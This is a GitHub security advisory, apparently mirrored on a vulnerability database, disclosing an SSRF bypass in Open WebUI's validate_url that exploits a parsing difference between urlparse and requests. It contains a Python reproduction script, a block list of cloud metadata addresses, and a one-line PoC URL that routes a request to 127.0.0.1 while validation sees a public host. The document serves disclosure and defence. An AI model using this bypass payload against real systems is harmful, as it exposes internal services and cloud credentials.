GHSA-8W7Q-Q5JP-JVGX

Vulnerability from github – Published: 2026-05-14 20:27 – Updated: 2026-05-15 23:55
VLAI?
Summary
Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`
Details

Summary

In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details

In the current project, URL validation is performed using the function validate_url.

QQ20260322-202854-22-1

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

QQ20260322-203014-22-2

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.

QQ20260322-203122-22-3

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code.

from __future__ import annotations

import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests

log = logging.getLogger(__name__)

# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
    "Oops! The URL you provided is invalid. Please double-check and try again."
)

# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
    os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)

_DEFAULT_WEB_FETCH_FILTER_LIST = [
    "!169.254.169.254",
    "!fd00:ec2::254",
    "!metadata.google.internal",
    "!metadata.azure.com",
    "!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
    _web_fetch_filter_env_list: list[str] = []
else:
    _web_fetch_filter_env_list = [
        item.strip()
        for item in _web_fetch_filter_env.split(",")
        if item.strip()
    ]
WEB_FETCH_FILTER_LIST = list(
    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)


def get_allow_block_lists(filter_list):
    allow_list = []
    block_list = []

    if filter_list:
        for d in filter_list:
            if d.startswith("!"):
                block_list.append(d[1:].strip())
            else:
                allow_list.append(d.strip())

    return allow_list, block_list


def is_string_allowed(
    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
    if not filter_list:
        return True

    allow_list, block_list = get_allow_block_lists(filter_list)
    strings = [string] if isinstance(string, str) else list(string)

    if allow_list:
        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
            return False

    if any(s.endswith(blocked) for s in strings for blocked in block_list):
        return False

    return True


def resolve_hostname(hostname):
    # Get address information
    addr_info = socket.getaddrinfo(hostname, None)

    # Extract IP addresses from address information
    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]

    return ipv4_addresses, ipv6_addresses


def _validators_url_accept(url: str) -> bool:
    """
    Stand-in for python-validators url(): True if string looks like http(s) URL with host.
    """
    try:
        u = url.strip()
        if not u:
            return False
        p = urllib.parse.urlparse(u)
        if p.scheme not in ("http", "https"):
            return False
        if not p.netloc:
            return False
        return True
    except Exception:
        return False


def _ipv4_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 4 and a.is_private
    except ValueError:
        return False


def _ipv6_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 6 and a.is_private
    except ValueError:
        return False


def validate_url(url: Union[str, Sequence[str]]):
    if isinstance(url, str):
        if not _validators_url_accept(url):
            raise ValueError(INVALID_URL)

        parsed_url = urllib.parse.urlparse(url)

        # Protocol validation - only allow http/https
        if parsed_url.scheme not in ["http", "https"]:
            log.warning(
                f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
            )
            raise ValueError(INVALID_URL)

        # Blocklist check using unified filtering logic
        if WEB_FETCH_FILTER_LIST:
            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
                log.warning(f"URL blocked by filter list: {url}")
                raise ValueError(INVALID_URL)

        if not ENABLE_RAG_LOCAL_WEB_FETCH:
            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
            parsed_url = urllib.parse.urlparse(url)
            # Get IPv4 and IPv6 addresses
            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
            # Check if any of the resolved addresses are private
            # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
            for ip in ipv4_addresses:
                if _ipv4_private(ip):
                    raise ValueError(INVALID_URL)
            for ip in ipv6_addresses:
                if _ipv6_private(ip):
                    raise ValueError(INVALID_URL)
        return True
    elif isinstance(url, Sequence):
        return all(validate_url(u) for u in url)
    else:
        return False

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    # url = "https://127.0.0.1:6666\@1.1.1.1"
    url = "https://127.0.0.1:6666"
    validate_url(url)
    response = requests.get(url)
    print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

QQ20260322-203503-22-4

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

QQ20260322-203750-22-5

PoC

http://127.0.0.1:6666\@baidu.com

Impact

SSRF

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:27:00Z",
    "nvd_published_at": "2026-05-15T21:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIn the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.\n\n### Details\nIn the current project, URL validation is performed using the function validate_url.\n\n\u003cimg width=\"1323\" height=\"1145\" alt=\"QQ20260322-202854-22-1\" src=\"https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47\" /\u003e\n\nThe current checking logic uses urlparse to parse the hostname part of the URL for verification.\n\n\u003cimg width=\"1122\" height=\"429\" alt=\"QQ20260322-203014-22-2\" src=\"https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88\" /\u003e\n\nHowever, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.\n\n\u003cimg width=\"1269\" height=\"915\" alt=\"QQ20260322-203122-22-3\" src=\"https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b\" /\u003e\n\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the open-webui code.\n```\nfrom __future__ import annotations\n\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport urllib.parse\nimport urllib.request\nfrom typing import Optional, Sequence, Union\nimport requests\n\nlog = logging.getLogger(__name__)\n\n# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL\nINVALID_URL = (\n    \"Oops! The URL you provided is invalid. Please double-check and try again.\"\n)\n\n# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)\nENABLE_RAG_LOCAL_WEB_FETCH = (\n    os.getenv(\"ENABLE_RAG_LOCAL_WEB_FETCH\", \"False\").lower() == \"true\"\n)\n\n_DEFAULT_WEB_FETCH_FILTER_LIST = [\n    \"!169.254.169.254\",\n    \"!fd00:ec2::254\",\n    \"!metadata.google.internal\",\n    \"!metadata.azure.com\",\n    \"!100.100.100.200\",\n]\n_web_fetch_filter_env = os.getenv(\"WEB_FETCH_FILTER_LIST\", \"\")\nif _web_fetch_filter_env == \"\":\n    _web_fetch_filter_env_list: list[str] = []\nelse:\n    _web_fetch_filter_env_list = [\n        item.strip()\n        for item in _web_fetch_filter_env.split(\",\")\n        if item.strip()\n    ]\nWEB_FETCH_FILTER_LIST = list(\n    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)\n)\n\n\ndef get_allow_block_lists(filter_list):\n    allow_list = []\n    block_list = []\n\n    if filter_list:\n        for d in filter_list:\n            if d.startswith(\"!\"):\n                block_list.append(d[1:].strip())\n            else:\n                allow_list.append(d.strip())\n\n    return allow_list, block_list\n\n\ndef is_string_allowed(\n    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None\n) -\u003e bool:\n    if not filter_list:\n        return True\n\n    allow_list, block_list = get_allow_block_lists(filter_list)\n    strings = [string] if isinstance(string, str) else list(string)\n\n    if allow_list:\n        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):\n            return False\n\n    if any(s.endswith(blocked) for s in strings for blocked in block_list):\n        return False\n\n    return True\n\n\ndef resolve_hostname(hostname):\n    # Get address information\n    addr_info = socket.getaddrinfo(hostname, None)\n\n    # Extract IP addresses from address information\n    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]\n    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]\n\n    return ipv4_addresses, ipv6_addresses\n\n\ndef _validators_url_accept(url: str) -\u003e bool:\n    \"\"\"\n    Stand-in for python-validators url(): True if string looks like http(s) URL with host.\n    \"\"\"\n    try:\n        u = url.strip()\n        if not u:\n            return False\n        p = urllib.parse.urlparse(u)\n        if p.scheme not in (\"http\", \"https\"):\n            return False\n        if not p.netloc:\n            return False\n        return True\n    except Exception:\n        return False\n\n\ndef _ipv4_private(ip: str) -\u003e bool:\n    try:\n        a = ipaddress.ip_address(ip)\n        return a.version == 4 and a.is_private\n    except ValueError:\n        return False\n\n\ndef _ipv6_private(ip: str) -\u003e bool:\n    try:\n        a = ipaddress.ip_address(ip)\n        return a.version == 6 and a.is_private\n    except ValueError:\n        return False\n\n\ndef validate_url(url: Union[str, Sequence[str]]):\n    if isinstance(url, str):\n        if not _validators_url_accept(url):\n            raise ValueError(INVALID_URL)\n\n        parsed_url = urllib.parse.urlparse(url)\n\n        # Protocol validation - only allow http/https\n        if parsed_url.scheme not in [\"http\", \"https\"]:\n            log.warning(\n                f\"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}\"\n            )\n            raise ValueError(INVALID_URL)\n\n        # Blocklist check using unified filtering logic\n        if WEB_FETCH_FILTER_LIST:\n            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):\n                log.warning(f\"URL blocked by filter list: {url}\")\n                raise ValueError(INVALID_URL)\n\n        if not ENABLE_RAG_LOCAL_WEB_FETCH:\n            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses\n            parsed_url = urllib.parse.urlparse(url)\n            # Get IPv4 and IPv6 addresses\n            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)\n            # Check if any of the resolved addresses are private\n            # This is technically still vulnerable to DNS rebinding attacks, as we don\u0027t control WebBaseLoader\n            for ip in ipv4_addresses:\n                if _ipv4_private(ip):\n                    raise ValueError(INVALID_URL)\n            for ip in ipv6_addresses:\n                if _ipv6_private(ip):\n                    raise ValueError(INVALID_URL)\n        return True\n    elif isinstance(url, Sequence):\n        return all(validate_url(u) for u in url)\n    else:\n        return False\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.INFO)\n    # url = \"https://127.0.0.1:6666\\@1.1.1.1\"\n    url = \"https://127.0.0.1:6666\"\n    validate_url(url)\n    response = requests.get(url)\n    print(response.text)\n\n```\nAs you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.\n\n\u003cimg width=\"1428\" height=\"273\" alt=\"QQ20260322-203503-22-4\" src=\"https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f\" /\u003e\n\nHowever, for https://127.0.0.1:6666\\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.\n\n\u003cimg width=\"2255\" height=\"786\" alt=\"QQ20260322-203750-22-5\" src=\"https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@baidu.com\n```\n\n### Impact\nSSRF",
  "id": "GHSA-8w7q-q5jp-jvgx",
  "modified": "2026-05-15T23:55:29Z",
  "published": "2026-05-14T20:27:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45400"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…